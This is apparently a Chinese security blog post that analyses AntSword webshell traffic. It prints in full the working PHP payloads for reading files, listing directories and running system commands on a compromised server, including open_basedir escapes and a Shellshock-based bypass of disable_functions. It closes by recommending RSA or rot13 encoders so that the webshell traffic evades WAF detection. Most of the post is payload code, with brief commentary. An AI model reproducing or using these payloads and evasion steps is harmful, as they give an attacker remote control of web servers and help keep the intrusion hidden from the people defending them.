0x01 流量代码分析
首先设置好本地burp的代理服务器地址以及监听端口
在本地服务器上写一句话木马连接,连接密码为cmd
这里点击查看文件抓包
把cmd参数进行url解码发送代码如下:
<?php@ini_set("display_errors", "0");@set_time_limit(0); //不显示报错$opdir=@ini_get("open_basedir");if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split("/;|:/",$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item){if(!@is_writable($item)){continue;};$tmdir=$item."/.018972";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput()//用于返回信息{$output=ob_get_contents();ob_end_clean();echo "ab"."4ab"; //用于返回信息,同时加入岁间前缀,对安全狗是一种绕过echo @asenc($output);echo "3b54"."81df";}ob_start();try{$F=base64_decode(substr($_POST["qd91d3c361de1e"],2));$P=@fopen($F,"r");echo(@fread($P,filesize($F)?filesize($F):4096));// 进行读取文件的操作@fclose($P);;}catch(Exception $e){echo "ERROR://".$e->getMessage();//报错信息};asoutput();die();
qd91d3c361de1e这个参数传递的是base64编码后的文件路径,利用fread函数读文件然后返回
列出目录流量:
<?php@ini_set("display_errors", "0");@set_time_limit(0);$opdir = @ini_get("open_basedir");if ($opdir) {$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);$oparr = preg_split("/;|:/", $opdir);@array_push($oparr, $ocwd, sys_get_temp_dir());foreach ($oparr as $item) {if (!@is_writable($item)) {continue;};$tmdir = $item . "/.3e26b2835b";@mkdir($tmdir);if (!@file_exists($tmdir)) {continue;}@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr = @preg_split("/\\\\|\//", $tmdir);for ($i = 0; $i < sizeof($cntarr); $i++) {@chdir("..");};@ini_set("open_basedir", "/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output = ob_get_contents();ob_end_clean();echo "36" . "2cf";echo @asenc($output);echo "0b83" . "45789";}ob_start();try {$D = base64_decode(substr($_POST["ze7ac24219d2a4"], 2));$F = @opendir($D);if ($F == NULL) {echo ("ERROR:// Path Not Found Or No Permission!");} else {$M = NULL;$L = NULL;while ($N = @readdir($F)) {$P = $D . $N;$T = @date("Y-m-d H:i:s", @filemtime($P));@$E = substr(base_convert(@fileperms($P), 10, 8), -4);$R = " " . $T . " " . @filesize($P) . " " . $E . "";if (@is_dir($P)) $M .= $N . "/" . $R;else $L .= $N . $R;}echo $M . $L;@closedir($F);};} catch (Exception $e) {echo "ERROR://" . $e->getMessage();};asoutput();die();
大概看一下就是利用readdir 函数读目录然后输出,大体和读文件相同
返回:
系统命令执行:
<?php@ini_set("display_errors", "0");@set_time_limit(0);$opdir = @ini_get("open_basedir");if ($opdir) {$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);$oparr = preg_split("/;|:/", $opdir);@array_push($oparr, $ocwd, sys_get_temp_dir());foreach ($oparr as $item) {if (!@is_writable($item)) {continue;};$tmdir = $item . "/.f26dd1e9d5a1";@mkdir($tmdir);if (!@file_exists($tmdir)) {continue;}@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr = @preg_split("/\\\\|\//", $tmdir);for ($i = 0; $i < sizeof($cntarr); $i++) {@chdir("..");};@ini_set("open_basedir", "/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output = ob_get_contents();ob_end_clean();echo "af" . "798";echo @asenc($output);echo "9210" . "b681";}ob_start();try {$p = base64_decode(substr($_POST["g43990e34390b8"], 2));$s = base64_decode(substr($_POST["m82411474f1991"], 2));$envstr = @base64_decode(substr($_POST["j4f8eb76abdc1e"], 2));$d = dirname($_SERVER["SCRIPT_FILENAME"]);$c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";if (substr($d, 0, 1) == "/") {@putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");} else {@putenv("PATH=" . getenv("PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");}if (!empty($envstr)) {$envarr = explode("|||asline|||", $envstr);foreach ($envarr as $v) {if (!empty($v)) {@putenv(str_replace("|||askey|||", "=", $v));}}}$r = "{$p} {$c}";function fe($f){$d = explode(",", @ini_get("disable_functions"));if (empty($d)) {$d = array();} else {$d = array_map('trim', array_map('strtolower', $d));}return (function_exists($f) && is_callable($f) && !in_array($f, $d));};function runshellshock($d, $c){if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {if (strstr(readlink("/bin/sh"), "bash") != FALSE) {$tmp = tempnam(sys_get_temp_dir(), 'as');putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");if (fe('error_log')) {error_log("a", 1);} else {mail("a@127.0.0.1", "", "", "-bv");}} else {return False;}$output = @file_get_contents($tmp);@unlink($tmp);if ($output != "") {print($output);return True;}}return False;};function runcmd($c){$ret = 0;$d = dirname($_SERVER["SCRIPT_FILENAME"]);if (fe('system')) {@system($c, $ret);} elseif (fe('passthru')) {@passthru($c, $ret);} elseif (fe('shell_exec')) {print(@shell_exec($c));} elseif (fe('exec')) {@exec($c, $o, $ret);print(join("", $o));} elseif (fe('popen')) {$fp = @popen($c, 'r');while (!@feof($fp)) {print(@fgets($fp, 2048));}@pclose($fp);} elseif (fe('proc_open')) {$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);while (!@feof($io[1])) {print(@fgets($io[1], 2048));}while (!@feof($io[2])) {print(@fgets($io[2], 2048));}@fclose($io[1]);@fclose($io[2]);@proc_close($p);} elseif (fe('antsystem')) {@antsystem($c);} elseif (runshellshock($d, $c)) {return $ret;} elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) {$w = new COM('WScript.shell');$e = $w->exec($c);$so = $e->StdOut();$ret .= $so->ReadAll();$se = $e->StdErr();$ret .= $se->ReadAll();print($ret);} else {$ret = 127;}return $ret;};$ret = @runcmd($r . " 2>&1");print ($ret != 0) ? "ret={$ret}" : "";;} catch (Exception $e) {echo "ERROR://" . $e->getMessage();};asoutput();die();
数据包里面两个都是base64,第一个参数是cmd(linux为/bin/sh),,第二个参数是目录,表示cd到这个目录下面去执行命令
fe函数检测函数有无被禁用
$d得到被禁用的函数,变为一个数组,如果$d为空也转换成一个数组,如果$d不为空先将所有的禁用函数转换为小写再去掉空格,如果这个函数存在,可调用,不在这个数组里面则返回true
runshellshock函数,这里已经开始bypassdisable_function了
runcmd函数,就是一个个对比过去了system,passthru,shell_exec,exec,popen,proc_open,antsystem,runshellshock最后还有个com组件
antsystem这个方法找了一下没找到,可能是作者先留着准备以后写的吧
$ret是命令执行后返回的状态,0是成功1是失败
上面所有方法都不能使用则返回ret=127,实际测试中只有所有方法都失败了才会返回127,因为里面执行的命令不止有一条,如:cd /d “D:\phpstudy_pro\WWW”&a&echo [S]&cd&echo [E]只要错误的命令不在最后一段里面就会返回0whoami&a&whoami #返回0 whoami&whoami&a #返回1_
如果想看到ret=1输入;就可以会使整条命令都错误。
0x02蚁剑自带加密
这里选择编码器选择base64加密,解码器也一样,请求和返回都经过了base64加密
除了base64还有rot13等编码,
其中蚁剑还提供了自建编码器的功能:
我们可以使用rsa来进行流量混淆加密
点击编码设置->RSA配置->生成
然后新建编码器
0x03waf识别流量原理:
老版蚁剑的User-Agent不会改变所以很容易被waf识别,在新版蚁剑中使用了一个随机的User-Agent来代替
所以只要使用蚁剑rsa编码器,rot13编码器,在webshell方面做好加密即可实现安全加密的通信。
